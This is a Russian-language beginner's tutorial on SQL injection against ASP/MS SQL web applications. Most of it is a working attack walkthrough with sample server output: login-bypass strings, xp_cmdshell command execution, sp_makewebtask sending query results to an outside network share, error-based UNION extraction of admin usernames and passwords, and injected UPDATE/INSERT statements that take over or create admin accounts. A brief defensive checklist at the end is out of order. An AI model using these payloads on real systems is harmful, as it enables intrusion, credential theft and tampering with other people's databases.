Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.
Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.
Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.
Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.
SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.
Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению SQL кода.
Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:
http://securitylab.ru/?ID=31610
Попробуйте начать с одиночной кавычки. Введите следующую строку:
hi' or 1=1--
в поле имя пользователя или пароль, или даже в URL параметре. Пример:
Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--
Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">
</FORM>
Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:
http://duck/index.asp?category=food
В URL, 'category' – это имя переменной, и 'food' – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:
SELECT * FROM product WHERE PCategory='food'
Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:
http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--‘
Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".
Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:
' or 'a'='a
Теперь SQL запрос станет:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Этот запрос возвратит тот же самый результат.
В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:
'; exec master..xp_cmdshell 'ping 10.10.1.2' --
Попробуйте использовать двойные кавычки ("), если (') не срабатывает.
Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:
http://securitylab.ru/?ID=31610
Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.
Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Указываемый IP должен иметь папку "share" с доступом для Everyone.
Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:
http://duck/index.asp?id=10
Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.
Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".
Для получения следующего имени таблицы, мы можем использовать следующий запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Мы также можем искать данные, используя ключ LIKE:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".
Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the
select list if the statement contains a UNION operator.
/index.asp, line 5
Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.
Давайте получим первый login_name из таблицы "admin_login":
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.
Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.
Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "trinity" с паролем '31173'.
После того, как мы получили имена всех столбцом в таблице, мы сможем
обновить(UPDATE) или
даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5'
WHERE login_name='neo--
Чтобы внести (INSERT) новую запись в базу данных:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name',
'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.
Фильтруйте специальные символы во всех строках в:
- любых данных, вводимых пользователем
Для числовых значений, конвертируйте их к integer, перед передачей их к SQL
запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.
Запускайте SQL сервер как непривилегированный пользователь.
Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail,
xp_sendmail, sp_makewebtask
8.0 Как избежать SQL Injection?
- URL параметрах
- Cookie
Никаких овечек — только отборные научные факты